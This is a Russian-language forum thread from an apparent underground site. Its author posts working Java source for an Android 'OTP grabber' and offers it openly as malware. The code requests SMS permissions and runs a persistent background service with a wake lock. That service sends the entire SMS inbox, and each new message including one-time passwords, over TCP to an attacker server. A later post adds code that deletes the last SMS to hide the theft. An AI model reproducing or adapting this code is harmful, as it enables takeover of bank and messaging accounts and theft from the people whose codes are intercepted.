What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Android Malware / OTP Grabber / + Код

NMZ

Light Weight
Депозит
$0
OTP (SMS) Граббер на Android:zns6:

OTP – это сокращение от One-Time Password (одноразовый пароль) и представляет собой временный защищенный PIN-код,
который отправляется вам через SMS или электронную почту и действует только один сеанс.

Такие подтверждения могут исходить от различных сервисов, включая банковские приложения, мессенджеры и другие платформы.
Мы будем перехватывать эти сообщения и отправлять их на наш сервер в фоновом режиме, работая как сервис.


Разрешения в AndroidManifest.xml -



Java: Скопировать в буфер обмена
Code:
<uses-feature
        android:name="android.hardware.telephony"
        android:required="false" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>




Для доступа к SMS и работы кода в фоновом режиме нам нужно определить соответствующие разрешения в AndroidManifest.xml.
Также в манифесте нужно указать наш сервис, которым будет SMSService. -


Java: Скопировать в буфер обмена
Code:
<service
            android:name=".SMSService"
            android:enabled="true"
            android:exported="true" />


MainActivity.java -
В MainActivity необходимо проверить, получены ли разрешения для доступа к SMS. Если разрешения предоставлены, запускается SMSService,
который в фоновом режиме отправляет SMS на сервер по TCP.
-


Java: Скопировать в буфер обмена
Code:
private static final int REQUEST_READ_SMS_PERMISSION = 3004;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS, Manifest.permission.INTERNET}, REQUEST_READ_SMS_PERMISSION);
        } else {
            startSMSService();

        }
    }

    private void startSMSService() {
        Intent serviceIntent = new Intent(this, SMSService.class);
        startService(serviceIntent);
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
            startSMSService();
        }
    }
}

Если разрешения предоставлены, запускается фоновый сервис, который отправляет одноразовые коды на сервер.
Кроме того, сервис будет отправлять все SMS-сообщения,
когда-либо полученные на телефон, для определения сервисов, привязанных к SIM-карте.

Код SMSService -

Java: Скопировать в буфер обмена
Code:
@Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            stopSelf();
            return START_NOT_STICKY;
        }
        acquireWakeLock();
        startForegroundService();
        listenForServerRequests();
        registerContentObserver();
        sendLastSmsPeriodically();
        return START_STICKY;
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        releaseWakeLock();
        unregisterContentObserver();
        if (handler != null) {
            handler.removeCallbacksAndMessages(null);
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private void listenForServerRequests() {
        new Thread(() -> {
            while (true) {
                try (Socket socket = new Socket(SERVER_IP, PORT);
                     PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                    List<String> allSms = readAllSms();
                    for (String sms : allSms) {
                        out.println(sms);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                    try {
                        Thread.sleep(2000);
                    } catch (InterruptedException ex) {
                        ex.printStackTrace();
                    }
                }
            }
        }).start();
    }

    private void sendLastSmsPeriodically() {
        handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                sendLastSmsToServer();
                handler.postDelayed(this, 5000);
            }
        }, 5000);
    }

    private void sendLastSmsToServer() {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, NEW_PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                List<String> newSmsList = readNewSms();
                String smsToSend;
                if (!newSmsList.isEmpty()) {
                    smsToSend = newSmsList.get(0);
                    lastSentSms = smsToSend;
                } else {
                    smsToSend = lastSentSms;
                }
                if (smsToSend != null) {
                    out.println(smsToSend);
                    System.out.println("SMS sent successfully: " + smsToSend);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private List<String> readAllSms() {
        List<String> smsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            do {
                String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                smsList.add(body);
            } while (cursor.moveToNext());
            cursor.close();
        }

        return smsList;
    }

    private void registerContentObserver() {
        contentObserver = new ContentObserver(new Handler()) {
            @Override
            public void onChange(boolean selfChange) {
                super.onChange(selfChange);

                List<String> newSms = readNewSms();
                for (String sms : newSms) {
                    sendSMSToServer(sms);
                }
            }
        };

        getContentResolver().registerContentObserver(Uri.parse(SMS_URI), true, contentObserver);
    }

    private void unregisterContentObserver() {
        if (contentObserver != null) {
            getContentResolver().unregisterContentObserver(contentObserver);
            contentObserver = null;
        }
    }

    private List<String> readNewSms() {
        List<String> newSmsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
            newSmsList.add(body);
            cursor.close();
        }

        return newSmsList;
    }

    private void sendSMSToServer(String sms) {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                out.println(sms);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private void startForegroundService() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Foreground Service")
                .setContentText("Service is running in the background")
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentIntent(pendingIntent)
                .build();

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForeground(1, notification);
        } else {
            startForeground(1, notification);
        }
    }

    @Override
    public void onCreate() {
        super.onCreate();
        createNotificationChannel();
    }

    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel serviceChannel = new NotificationChannel(
                    CHANNEL_ID,
                    "Foreground Service Channel",
                    NotificationManager.IMPORTANCE_DEFAULT
            );

            NotificationManager manager = getSystemService(NotificationManager.class);
            manager.createNotificationChannel(serviceChannel);
        }
    }

    private void acquireWakeLock() {
        PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
        if (powerManager != null) {
            wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
                    "SMSService::WakeLock");
            wakeLock.acquire();
        }
    }

    private void releaseWakeLock() {
        if (wakeLock != null && wakeLock.isHeld()) {
            wakeLock.release();
        }
    }
}


Замечание!

Следует отметить, что использование такого подхода в реальных условиях может быть затруднительным
Начиная с новых версий Android, изменилось поведение сервисов и разрешений,
и многое может работать иначе на различных версиях oc.





Спасибо за внимание! Если у вас есть вопросы или предложения, буду рад обсудить.
:smile10:
 
Кстати, возможно выложу новую статью по этому грабберу позже. Новая панель + обновленный код с отправкой лога в тг / сервер на выбор
 
Код для удаления последнего SMS на телефоне.

Java: Скопировать в буфер обмена
Code:
 private static final String SMS_URI = "content://sms/inbox";
 private Context context; // уже есть в код пишу чтобы можно было вставить в другой независимо

 public SmsDeleter(Context context) {
  this.context = context;
 }
 public void deleteLastSms() {
  Cursor cursor = null;
  try {
  
   cursor = context.getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC");
   if (cursor != null && cursor.moveToFirst()) {
    //ID последнего
    String smsId = cursor.getString(cursor.getColumnIndexOrThrow("_id"));
    Uri smsUri = Uri.parse(SMS_URI + "/" + smsId);

    //чтоб жизнь малиной не казалась
    int rowsDeleted = context.getContentResolver().delete(smsUri, null, null);
    if (rowsDeleted > 0) {
     Log.d("SmsDel", "Удалено.");
    } else {
     Log.e("SmsDeleter", "Ошибка");
    }
   }
  } catch (Exception e) {
   Log.e("SmsDel", "Ошибка", e);
  } finally {
   if (cursor != null) {
    cursor.close();
   }
  }
 }
}


Ну и код для использования метода -

Java: Скопировать в буфер обмена
Code:
SmsDeleter smsDeleter = new SmsDeleter(context);
smsDeleter.deleteLastSms();
 
NMZ сказал(а):
Кстати, возможно выложу новую статью по этому грабберу позже. Новая панель + обновленный код с отправкой лога в тг / сервер на выбор
Нажмите, чтобы раскрыть...
Это будет интересно )
 
Top